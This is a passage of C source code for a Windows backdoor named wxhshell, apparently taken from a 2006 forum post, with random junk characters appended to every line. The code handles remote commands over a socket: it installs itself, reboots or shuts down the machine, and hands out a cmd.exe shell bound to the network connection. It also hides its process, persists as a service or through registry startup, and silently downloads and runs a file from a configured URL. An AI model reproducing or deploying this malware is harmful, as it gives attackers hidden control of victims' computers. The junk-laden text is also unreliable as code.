  // 帮助 }tua0{N:z  
  case '?': { TmoODG>@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,L6d~>=41  
    break; g"FG7E&  
  } /3L1Un*  
  // 安装 w(eAmN:zR  
  case 'i': { iLws;3UX;x  
    if(Install()) S c_*L<$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @F+4 NL-'P  
    else 4=%Uv^M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #78p# E  
    break; .`)\GjDv  
    } m5v9:5{  
  // 卸载 XWf8ZZj  
  case 'r': { B<I%:SkF@  
    if(Uninstall()) m`}! dBi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  -*_D!  
    else k>FMy#N|@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +=)< Su.  
    break; }f+If{  
    } i"_)91RA  
  // 显示 wxhshell 所在路径 #Ne<=ayS  
  case 'p': { G{pfyfF  
    char svExeFile[MAX_PATH]; e_kP=|u)g  
    strcpy(svExeFile,"\n\r"); Nh^T,nv*l  
      strcat(svExeFile,ExeFile); `kpX}cKK}  
        send(wsh,svExeFile,strlen(svExeFile),0); `M6!V  
    break; E*:!G  
    } 1j`-lD  
  // 重启 Q&opnvN  
  case 'b': { lQ<2Vw#Yl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C5CUMYU  
    if(Boot(REBOOT)) IgI*mDS&b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j#f+0  
    else { N/p9Ws  
    closesocket(wsh); 0k@4;BYu  
    ExitThread(0); &BY%<h0c  
    } V}. uF,>V  
    break; d(3F:dbk  
    } AE={P*g  
  // 关机 X|TEeE c[L  
  case 'd': { 9TIyY`2!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,^pM]+NF|  
    if(Boot(SHUTDOWN)) O#7ONQfBO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hzcy '  
    else { :2pd2S  
    closesocket(wsh); &=Gz[1 L  
    ExitThread(0); >XcbNZV  
    } W2D^%;mw  
    break; GpMKOjVm|  
    } o]t6u .L  
  // 获取shell HgvgO\`]  
  case 's': { 0&mo1 k_U  
    CmdShell(wsh); @zL)R b%P$  
    closesocket(wsh); ! @{rk p  
    ExitThread(0); r Lg(J|^  
    break; vIF=kKl9,  
  } Sf);j0G,D  
  // 退出 w17\ \[  
  case 'x': { F[<EXLQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y9Q-<~\z  
    CloseIt(wsh); kT&-:: ^R  
    break; ,24NMv7  
    } zl F*F8>m  
  // 离开 ([R}s/)$  
  case 'q': { 1+~JGY#   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L-hK(W!8pt  
    closesocket(wsh); 8c(}*,O/  
    WSACleanup(); Z.am^Q^Y!  
    exit(1); A{iI,IFe  
    break; 8/,m8UOY  
        } uSLO"\zysX  
  } }`8g0DPuD9  
  } h!5^d!2,  
6F6[w?   
  // 提示信息 5cO}Jp%PA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @kvgq 0ab  
} #4%4iR5%  
  } )IPnSh/ <  
QWH1xId  
  return; O<Qa1Ow7f  
}  7?-eR-  
)z&0 g2Am  
// shell模块句柄 (JH LWA H  
int CmdShell(SOCKET sock) 5LbU'5  
{ !sQ$a#Ea  
STARTUPINFO si; )SQ*"X4"  
ZeroMemory(&si,sizeof(si)); h#'(i<5v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L+LxS|S+M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Vc.A <(  
PROCESS_INFORMATION ProcessInfo; Sj]k5(&  
char cmdline[]="cmd"; !%5ae82~3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X&o!xV -+  
  return 0; [t*m$0[:  
} \kqa4{7U(  
.j:.?v  
// 自身启动模式 fzO4S^mTo8  
int StartFromService(void) AFcsbw  
{ CP_ ?DyWU  
typedef struct L&=j O0_  
{ A`v(hBM  
  DWORD ExitStatus; P*oKcq1R  
  DWORD PebBaseAddress; j}uFp|df<  
  DWORD AffinityMask; ,B%M P<Rz1  
  DWORD BasePriority; xB_F?d40T5  
  ULONG UniqueProcessId; Zx,R6@l  
  ULONG InheritedFromUniqueProcessId; E{kh)-  
}   PROCESS_BASIC_INFORMATION; AWHB^}!}  
aehGT|  
PROCNTQSIP NtQueryInformationProcess; m(>_C~rGN  
Xt~`EN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4o8uWS{`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v+U( #"  
Ev* b  
  HANDLE             hProcess; qIcQPJn!}  
  PROCESS_BASIC_INFORMATION pbi; u.*@ l GVW  
j2# nCU54Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :#0uy1h  
  if(NULL == hInst ) return 0; }^Be^a<ub  
Nr=ud QA{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;v'7l>w3\w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .CdaOWM7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;<`F[V Zau  
?P@fV'Jo  
  if (!NtQueryInformationProcess) return 0; ztf VXmi'  
C`+g:qT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XIh2Y\33ys  
  if(!hProcess) return 0; vn|u&}h  
OLUQjvnU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Yr5A,-s  
+]uW|owxo  
  CloseHandle(hProcess); LuY`mi  
?Y+xuY/t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ot]eaad  
if(hProcess==NULL) return 0; {[G2{ijRz  
s|rlpd4y  
HMODULE hMod; (__=*ew  
char procName[255]; K]' 84!l  
unsigned long cbNeeded; p8K4^H  
*6^|i}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *#1&IJPI  
>Z?fX  
  CloseHandle(hProcess); q4{Pm $OW  
# eqt{  
if(strstr(procName,"services")) return 1; // 以服务启动 vl*CU"4  
RR!(,j^M  
  return 0; // 注册表启动 '$pT:4EuGq  
} `}.K@17  
h=SQ]nV{  
// 主模块 } [}u5T`w>  
int StartWxhshell(LPSTR lpCmdLine) m6^Ua  
{ @*q WV*$h  
  SOCKET wsl; v'Ce|.;  
BOOL val=TRUE; *F*c  
  int port=0; Dww]D|M  
  struct sockaddr_in door; EW*!_|  
H=] )o2 1  
  if(wscfg.ws_autoins) Install(); au7%K5  
. +> w0FG.  
port=atoi(lpCmdLine); :,"dno7OQ  
geU-T\1[l  
if(port<=0) port=wscfg.ws_port; fpf1^ TZ  
LSb3w/3M  
  WSADATA data; {PgB~|W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r) Ts(#Z  
}Uki)3(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r|4jR6%<'m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BM=`zGh"  
  door.sin_family = AF_INET; `?LQd2p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c_c]0Tm  
  door.sin_port = htons(port); ;tTM3W-h  
'c5#M,G~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B04%4N.g"X  
closesocket(wsl); %41dVnWB^4  
return 1; 6l&m+!i  
} -q' np0H  
jUtrFl  
  if(listen(wsl,2) == INVALID_SOCKET) { 16/+ O$#y  
closesocket(wsl); 9 \i;zpN\  
return 1; q"ba~@<BEl  
} KK4>8zGR  
  Wxhshell(wsl); 1rh\X[@  
  WSACleanup(); Onb*nm  
 hh<5?1  
return 0; +*'  
p 7IJ3YY  
} loN!&YceW  
(1JZuR<?c  
// 以NT服务方式启动 3 lH#+@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7 vUfA"  
{ #S2LQ5U  
DWORD   status = 0; ,OWdp<z  
  DWORD   specificError = 0xfffffff; w,TyV%b[_  
Oh6_Bci  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ntr5Q IPd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sj a;NL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /+4Dq4{ t)  
  serviceStatus.dwWin32ExitCode     = 0; u/!U/|  
  serviceStatus.dwServiceSpecificExitCode = 0; 5 EDHJU>  
  serviceStatus.dwCheckPoint       = 0; nR4L4tdS  
  serviceStatus.dwWaitHint       = 0; QT{$2 7;  
aGVzg$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "wL~E Si  
  if (hServiceStatusHandle==0) return; A[J9v{bD  
G~_5E]8  
status = GetLastError(); HVz-i{M  
  if (status!=NO_ERROR) F48:mfj1r  
{ FQNhn+A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zMs]9o  
    serviceStatus.dwCheckPoint       = 0; g`)3m,\  
    serviceStatus.dwWaitHint       = 0;  84L!r  
    serviceStatus.dwWin32ExitCode     = status; r5Ej  
    serviceStatus.dwServiceSpecificExitCode = specificError; (y|{^@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @z"Zj 3ti  
    return; ^ L'8:  
  } K+2bN KZ0  
2n+j.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H^xrFXg~z  
  serviceStatus.dwCheckPoint       = 0; $UW!tg*U&  
  serviceStatus.dwWaitHint       = 0; 5&7)hMppI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q>7#</i\.  
} $de_>  
(Tp+43v  
// 处理NT服务事件,比如:启动、停止 8=gr F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :Q2\3  
{ 8~RUYsg  
switch(fdwControl) ]W<E#^  
{ $D5[12X  
case SERVICE_CONTROL_STOP: Na: M1Uhb  
  serviceStatus.dwWin32ExitCode = 0; -cyJj LL*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5Zs"CDU  
  serviceStatus.dwCheckPoint   = 0; 8B;`9?CI  
  serviceStatus.dwWaitHint     = 0; 7p3 ;b"'  
  { }#z E`IT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q_HC68YF,  
  } ;hF>iw  
  return; B) &BqZ&  
case SERVICE_CONTROL_PAUSE: 0uzis09  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HP|,AmVLl  
  break; =sRd5aMs  
case SERVICE_CONTROL_CONTINUE: qTC`[l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .  hHt+  
  break; i_g="^  
case SERVICE_CONTROL_INTERROGATE: 9 U1)sPH;  
  break; +A W6 >yV`  
}; a$#,'UB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OQ#gQ6;?0  
} ~] Mq'  
$>'}6?C.  
// 标准应用程序主函数 m hJ>5z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pW8pp?  
{ 9UOx~Ty  
#[sC H  
// 获取操作系统版本 %_M B-  
OsIsNt=GetOsVer(); ~U*2h =]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^*C6]*C}te  
<9-tA\`8N  
  // 从命令行安装 3Zsqx =w  
  if(strpbrk(lpCmdLine,"iI")) Install(); m#, F%s  
_jH1Mcq  
  // 下载执行文件 g-mK(kY4p  
if(wscfg.ws_downexe) { mDip P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RTA9CR)JP4  
  WinExec(wscfg.ws_filenam,SW_HIDE); H;*:XLPF  
} <<(~'$~,L  
}llzO  
if(!OsIsNt) { pX6T7  
// 如果时win9x,隐藏进程并且设置为注册表启动 d(, -13  
HideProc(); ^]'p927  
StartWxhshell(lpCmdLine); *-Lnsi^7v  
} ,qiS;2(  
else 9L%&4V}BIS  
  if(StartFromService()) S) V uT0  
  // 以服务方式启动 5g F}7D@  
  StartServiceCtrlDispatcher(DispatchTable); JC{}iG6r+  
else kSU*d/}*u  
  // 普通方式启动 h1fJ`WT6,  
  StartWxhshell(lpCmdLine); r-]R4#z>  
@`}'P115@  
return 0; {xEX_$nv  
}
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只看该作者 1 发表于: 2006-10-10
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